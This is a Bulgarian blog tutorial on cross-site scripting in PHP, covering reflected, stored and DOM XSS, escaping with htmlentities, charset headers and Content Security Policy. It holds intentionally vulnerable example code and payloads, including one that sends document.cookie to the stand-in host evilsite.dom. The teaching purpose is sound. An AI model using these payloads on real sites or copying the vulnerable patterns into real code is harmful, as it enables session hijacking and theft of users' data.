C, PHP, VB, .NET

Дневникът на Филип Петров


* XSS – вмъкване на нежелан код

Публикувано на 06 декември 2008 в раздел ОСУП.

Cross Site Scripting (XSS) е атака, която използва уязвимост на приложението и "вмъква" нежелан код, който се изпълнява в браузъра на крайния потребител. Най-общо казано атаката цели да намери място в програмата, в което се отпечатва стойността на дадена променлива и не се проверява коректно нейното съдържание. Обикновено в съдържанието на променливата се записва HTML, XHTML, JavaScript, ActiveX, VBScript, Flash, и др видове изпълним код, но най-разпространения вариант е Javascript. Възможностите за цел на атаката може да са много - придобиване на достъп до защитена зона на сайта (чрез постигане на session hijacking), подвеждане на потребителя да въведе информация към трети източник (physhing), инсталиране на нежелани програми на компютъра на потребителя (virus, worm, trojan, ...), и др. Според изследване на Symantec около 80% от проблемите в сигурността на уеб-базираните приложения са свързани именно с XSS уязвимости. Също така се прави статистическо предположение, че поне 70% от динамичните уеб-сайтове в световната мрежа притежават такава уязвимост. Обикновено крайния потребител не може да намери визуален белег, по който да разкрие атаката.

XSS атаките са най-общо три вида:

  1. Динамични: Атакуващият предоставя връзка или друг вид "маскиран" код към клиента. Когато клиента последва такава връзка той попада на оригиналният уебсайт на дадената услуга, но вече с модифициран от атакуващия код. Възможно е и възползването от уязвимост на софтуера, с който жертвата преглежда подаденото му съобщение, с цел атакуващия да добие достъп до неговата административна част. Директните атаки се реализират най-често чрез изпращане на писма по електронната поща към жертвата или чрез съобщения в различни чат приложения.
  2. Статични: Атакуващият успява да вмъкне нежелания код в база данни и само изчаква жертвата сама да отвори уязвимата страница. Това са най-честите атаки при т.нар. социални мрежи - форуми, блогове, дискусионни групи, и т.н.
  3. DOM: Това са специален вид динамични XSS атаки от т.нар. "локално ниво" - вътре в самия браузър на потребителя. Най-често става въпрос за XSS атака към Javascript код.

Почти няма приложение в Интернет, което да няма или да не е имало XSS уязвимост. В днешно време, с навлизането на все повече технологии като Action Script на Flash или AJAX скриптовете, XSS атаките все повече добиват популярност. На практика всички тези проблеми се зараждат в момента, когато сървърите придобиват функционалност за директно изпълнение на код при клиента (напр. JavaScript).

Нека като пример да разгледаме следната елементарна форма:

<html>
<head>
	<title>WorldBank.dom XSS vulnerable page</title>
</head>
<body>
<?php
	echo '<form action="xss.php" method="POST">';
	echo 'data:';
	echo '<input type="text" name="data">';
	echo '<br><input type="submit" name="submit">';
	echo '</form><br><br><br>';
	if( isset($_REQUEST['submit']) 
            && isset($_REQUEST['data']) 
            && is_string($_REQUEST['data'])){
		echo $_REQUEST['data'];
	}
	else {
		echo 'Type something';
	}
?>
</body>
</html>

Удебеленият ред "echo $_REQUEST['data']" демонстрира XSS уязвимост. Очевидно ние отпечатваме на екрана директно всичко, което е въведено от формата, без да правим никакви проверки. Въведете обикновен текст (например думата "test") и тествайте приложението. Нищо не подсказва, че има проблем. Следващият път въведете някакъв изпълним код, например:

	test<Script language='JavaScript'>alert("XSS HACK")</Script>

Отново ще се отпечата думата "test", но вече ще имаме и изпълнен java script, което определено не е желано!

Първото нещо, което привлича вниманието (но не е непременно свързано с XSS атака), е използването на $_REQUEST, вместо $_POST. Много програмисти обичат да смесват използването на POST с GET заявки и за улеснение използват общият $_REQUEST масив. Това е първа и много основна грешка, която не трябва да се допуска! Опитайте се да отворите следния адрес:

	http://worldbank.dom/xss.php?data=test&submit=1

Ще забележите, че все едно сме въвели текст във формата, а ние все още не сме го направили. Затова избягвайте програмна логика, използваща $_REQUEST.

Сега да се фокусираме върху самата XSS атака. Първата стъпка е да забраним извеждането на какъвто и да е HTML код на екрана на потребителя. Първият подход е да използваме готови функции на езиците за програмиране. Например в PHP съществува функция htmlentities, която подменя всички специални HTML символи с техни еквиваленти за отпечатване на екрана (например '<' се заменя с '&lt;'):

<html>
<head>
	<title>WorldBank.dom XSS vulnerable page</title>
</head>
<body>
<?php
	echo '<form action="xss.php" method="POST">';
	echo 'data:';
	echo '<input type="text" name="data">';
	echo '<br><input type="submit" name="submit"';
	echo '</form><br><br><br>';
	if( isset($_POST['submit'])
            && isset($_POST['data'])
            && is_string($_POST['data'])){
		$data = htmlentities($_POST['data'], ENT_QUOTES, 'UTF-8');
		echo $data;
	}
	else {
		echo 'Type something';
	}
?>
</body>
</html>

Опитайте отново XSS атаката описана по-горе. Ще забележите, че тя няма вече да работи.

Тук обаче ще се сблъскаме с още един проблем - има и други кодировки. Много популярна атака срещу по-стари версии на Internet Explorer e свързана с добавянето на UTF7 кавички - хакера подлъгва браузера да изкара страницата в UTF7 кодировка, а от там htmlentities не си върши коректно работата. Затова е изключително важно всяка html страница да дефинира своята кодировка! В началото на скрипта добавяйте:

<?php
header('Content-Type: text/html; charset=utf-8');
?>

После за всеки случай и в header часта добавяйте метатаг:

<meta http-equiv="Content-type" content="text/html; charset=utf-8" />

Вторият подход е да направим стриктно филтриране, както беше демонстрирано с regular expressions в статията за препълване на буфери. Опитайте - напишете горния пример така, че да позволява въвеждането само на букви (a-z, A-Z) и цифри. Комбиниран подход между тези два естествено е най-правилното решение!

Така дотук изведохме две основни правила - не приемайте нефилтрирани данни и не отпечатвайте нефилтрирани данни. За съжаление уеб сайтовете разчитат изключително много на визуализация на информацията и затова процеса на защита срещу XSS атаки изисква повишено внимание и повече усилия.

Сега ще представим няколко практически примера, а вие помислете как да защитим скриптовете с въпросните примери:

Пример 1: Директна XSS атака

Нека имаме база от данни с таблица "articles", които имат уникален номер и съдържание. Следният скрипт отпечатва съдържанието на статия чрез подаден номер като GET параметър - например articles.php?id=3 ще отпечата съдържанието на третата статия:

<?php
	require("./includes/header.php");
	
	if(isset($_GET['id'])) $aid = $_GET['id'];
	else $aid = 1;

	echo "<h2>Article ".$_GET['id']."</h2>";
	
	$link = @mysqli_connect("localhost", "myuser", "gkfodisjgfdsi", "upr4");
	$aid = (int)$aid;
	
	$stmt = mysqli_prepare($link, "SELECT content FROM articles WHERE id=?");
	mysqli_stmt_bind_param($stmt, "i", $aid);
	mysqli_stmt_execute($stmt);
	mysqli_stmt_bind_result($stmt, $content);
	if(mysqli_stmt_fetch($stmt)){
		echo $content;
	}
	else{
		echo "No such article";
	}
	
	require("./includes/footer.php");
?>

Уязвимостта тук се намира при отпечатване на номера на статията - echo "<h2>Article ".$_GET['id']."</h2>". Тук хакер може да подаде не число, а HTML код през GET параметъра.

Пример 2: Статична XSS атака

Даден е следният уеб чат:

chat.php:

<?php
	require("./includes/header.php");
?>
<h2>This is our chat</h2>
<form action="postmessage.php" method="POST">
<input type="text" name="message" />
<input type="submit" name="submit" value="Send" />
</form><br>
<?php	
	$link = @mysqli_connect("localhost", "myuser", "gkfodisjgfdsi", "upr4");
	$sql = "SELECT users.user, messages.message, messages.posted_on
			FROM users
			JOIN messages ON users.id = messages.uid
			ORDER BY messages.posted_on DESC
			LIMIT 100";
	$result = @mysqli_query($link, $sql);
	while(($row = @mysqli_fetch_assoc($result))!=null){
		echo $row['posted_on']." ".$row['user'].": ".$row['message']."<br>";
	}
	
	require("./includes/footer.php");
?>

postmessage.php:

<?php
	logincheck();
	
	if(!isset($_POST['submit']) || !isset($_POST['message']) || empty($_POST['message']) || !is_string($_POST['message'])){
		header("Location: chat.php");
		echo 'Please go to <a href="chat.php">chat</a> and post a message';
		exit;
	}
	
	$link = @mysqli_connect("localhost", "myuser", "gkfodisjgfdsi", "upr4");
	$stmt = mysqli_prepare($link, "INSERT INTO messages(uid, message,posted_on)
								   VALUES (?,?,NOW())");
	mysqli_stmt_bind_param($stmt, "is", $_SESSION['userid'], $_POST['message']);
	mysqli_stmt_execute($stmt);
	header("Location: chat.php");
	echo "Thanks. Now go back to <a href='chat.php'>Chat</a>";
	exit;
?>

В така създадената форма може директно да се вмъкне html код като съобщение в чата.

Пример 3: DOM XSS атака

Следният фрагмент демонстрира javascript код, който чете променлива от URL - ако отворите скрипта с параметър profile.php?name=ivan, името ivan ще се отпечати на екрана:

<?php
	require("./includes/header.php");
?>
Profile for
<script nonce="<?=$js_nonce?>">
        var pos=document.URL.indexOf("name=")+5;
        document.write(decodeURIComponent(document.URL.substring(pos,document.URL.length)));
</script>
...

Същият скрипт обаче би могъл да бъде отворен като profile.php?name=ivan#<script>...</script>

Забележете, че всичко в URL от # нататък няма да бъде изпратено като request uri към сървъра. Тоест атаката ще се получи без на сървъра да остане следа в логовете.

Пример 4. Динамична XSS атака с различен контекст

Нека имаме форма за търсене в header.php:

...
<form action="search.php" method="POST">
   <input type="text" name="search" value="<?=$_POST['search']??''?>" />
   <input type="submit" name="submit" value="Search" />
</form>
...

и съответно скрипт, който показва намереното search.php:

<?php
require("./includes/header.php");
echo isset($_POST['search'])&&is_string($_POST['search'])?"You searched for ".htmlentities($_POST['search'], ENT_QUOTES, 'UTF-8'):"Please search first";
...

Тук в search.php няма уязвимост, защото коректно се използва htmlentities. Уязвимост обаче има в header.php - там последното нещо, което сме търсили, се поставя като value на формата.

Едно възможни низове за търсене, които биха изпълнили скрипт:

  • "><script>alert("XSS")</script> - затваря value и input на формата, след което добавя script тага
  • "><script>document.write('<iframe src="http://evilsite.dom/logi.php?cookie='     + escape(document.cookie) + '" height="1" width="1" />');</script> - извършва session hijacking като изпраща всички cookies към скрипт на evilsite.dom. Това няма да работи ако сме направили сесийното cookie да е http only чрез ini_set('session.cookie_httponly', 1);

Тук е важно да се отбележи и още нещо много съществено - изключително важен е контекстът, в който се вмъква кода. Нека разгледаме следният ревизиран header.php:

...
<form action="search.php" method="POST">
   <input type="text" name="search" value=<?=htmlentities($_POST['search']??'', ENT_QUOTES, 'UTF-8')?> />
   <input type="submit" name="submit" value="Search" />
</form>
...

Вече сложихме htmlentities, но кодът продължава да е уязвим от XSS атака! Това се получава заради един уж дребен детайл - стойността на атрибута value не е ограден в кавички. Един възможен payload е следния: search onmouseover=alert(1);.

ДРУГИ ЗАЩИТИ ОТ XSS АТАКИ

Това, което ще изкажем надолу НЕ отменя задължението приложението ви да няма XSS уязвимости, т.е. да филтрирате данни подадени от потребителя коректно. Това са допълнителни инструменти, които са налични в съвремените браузъри и подпомагат за защитата на потребители, които са попаднали на сайт с XSS уязвимост.

I. XSS Auditors

Ще забележите, че в различните браузъри горните примери ще действат по различен начин. Например динамичните XSS атаки ще се изпълняват безпроблемно в Mozilla Firefox, но няма да са възможни с Google Chrome:

Internet Explorer ще визуализира страницата, но ще даде съобщение за грешка в долния край, което ни уведомява, че ни е предпазил от XSS атака, но ако НЕ използваме localhost (т.е. атаките ще работят в тестова среда, но не и на реален сайт):

Microsoft Edge няма да даде никакво съобщение, но в конзолата (активира се с F12) ще покаже съобщение, че атаката е предотвратена:

SEC7130: Potential cross-site scripting detected in 'http://.../articles.php?id=1<script>alert("XSS");</script>'. The content has been modified by the XSS Filter.

Тоест, като изключим Firefox, в последните години повечето браузъри се опитват да защитят потребителя от XSS атаки. Това важи за динамичните, но не и за статичните атаки - статична XSS атака ще се изпълни във всеки браузър и одиторите няма да я спрат.

II. Content security policy

CSP се поддържа отскоро и е специален хедър, чрез който можем да дадем списък с разрешени и забранени дейности на браузъра на клиента. Чрез този хедър се дефинират хостове на които вярваме "trusted sources" за различен тип медия (javascript, картинки, css, т.н.) и така бразура на клиента ще откаже да зареди каквото и да е съдържание от други хостове. Възможните директиви са:

  • base-uri - указва какви URL може да присъстват в <base>;
  • frame-src - указва какви URL може да бъдат вмъкнати чрез iframe;
  • connect-src - указва дестинациите, към които можем да се свържем чрез XHR, WebSockets и EventSource;
  • font-src - указва откъде могат да се използват уеб шрифтове;
  • form-action - специфицира хостовете, към които формите на текущия сайт могат да имат action (т.е. можете да предотвратите вмъкване на форма, която изпраща информация към чужд сайт);
  • frame-ancestors - указва кои чужди сайтове могат да "ембеднат" (embed) текущата страница. Това важи за <frame>, <iframe>, <embed> и <applet>;
  • img-src - указва от кои хостове може да се вмъкват картинки;
  • media-src - указва от кои хостове може да се вмъкват аудио и видео;
  • object-src - указва от кои хостове може да се вмъкват други обекти (например flash анимации);
  • script-src - указва от кои хостове може да се вмъкват скриптове;
  • style-src - указва от кои хостове може да се вмъква CSS код;
  • plugin-types - лимитира плъгините на браузъра, които могат да достъпват информация на текущата страница;
  • report-uri - указва URL, на който браузъра ще изпраща информация при наличие на проблем;
  • upgrade-insecure-requests - инструктира браузъра да заменя HTTP с HTTPS. Тази директива е основно за големи стари сайтове, при които има много стари линкове преди да бъде пуснат HTTPS.

По подразбиране (ако не се изпрати хедър) всички директиви са отворени за всякакви хостове, т.е. все едно сме подали "*". Ако добавим само една директива - например само script-src, - тогава ще е лимитирана само тя, а останалите ще са отворени. Това може да се промени чрез специалната директива:

  • default-src - указва рестрикции по подразбиране за директивите, които не са включени в хедъра

Трябва да се отбележи, че default-src влияе само на директивите, които завършват с "-src", но не и на останалите.

Списъкът на "-src" директивите може да съдържа следните:

  • 'none' - нищо, т.е. да е забранено. Например със script-src: 'none' ще забраните напълно javascript на дадена страница;
  • 'self' - текущия origin, но не и негови subdomains;
  • 'unsafe-inline' - позволява inline javascript и CSS (по подразбиране са забранени);
  • 'unsafe-eval' - позволява използването на eval за генериране на javascript (не особено добра идея);
  • http://sub.domain.dom - позволява добавяне на код от sub.domain.dom;
  • http://*.domain.dom:* - позволява добавяне на код от всякакви събдомейни на domain.dom на всякакви портове (това впрочем може да се използва и за протокола, т.е. на мястото на http може да се сложи *).

Примери с php header функцията:

  • header("Content-Security-Policy: default-src 'self'; script-src 'self'' cdn.example.dom"); - забранява зареждането на всякакви ресурси от всякакви други домейни освен текущия, с изключение на зареждане на javascript от cdn.example.dom;
  • header("Content-Security-Policy: default-src 'self'; script-src 'self'' cdn.example.dom; child-src 'self' https://www.youtube.com"); - същото като горното, но допълнително разрешава embed на видеоклипове от youtube;
  • header("Content-Security-Policy: default-src 'self'; script-src 'self' https://platform.twitter.com; child-src 'self' https://platform.twitter.com"); - позволява добавянето на бутончето на Twitter.

Възможно е да използвате и директно .htaccess файл, например следният .htaccess файл дефинира зареждане на скриптове от текущия origin и google-apis, както и на картинки от cloudflare.com:

Header set Content-Security-Policy "
    default-src 'self';
    script-src 'self' www.google-apis.com;
    img-src 'self' *.cloudflare.com;
"

Както виждате CSP е мощно средство за защита срещу XSS атаки. Въпреки това, както вече споменахме, не трябва да разчитате само на него - винаги филтрирайте информацията, защото това е добрата практика.

Едно неудобство при CSP идва от рестрикцията за inline скриптове и CSS. Ако все пак е нужно да можете да вмъкнете скрипт не чрез външен файл, а директно вътре в кода на текущата страница (inline), трябва да направите следното:

1. Генерирате nonce в CSP хедъра

$js_nonce = base64_encode(openssl_random_pseudo_bytes(21));
header("Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-".$js_nonce."';");

2. Вмъквате вашия javascript като указвате същия nonce:

<script nonce="<?=$js_nonce?>">...</script>

Само script с указан този nonce ще бъде изпълнен inline в текущата страница!

Статията е редактирана през месец април 2017 г.

 



5 коментара


  1. Нещо сте си извадили изключително грешни изводи. Тук говорим за сигурност на web приложението, а не на каквито и да е браузъри...

  2. Здравей би ли ми писал на skype gulli-97 за да ти задам няколко вапроса относно XSS

  3. Съжалявам, не използвам skype. А въпросите може да ги зададете по e-mail.

    П.С. Съжалявам и за мноооого късния отговор. Пропуснал съм този коментар.

Добави коментар

Адресът на електронната поща няма да се публикува


*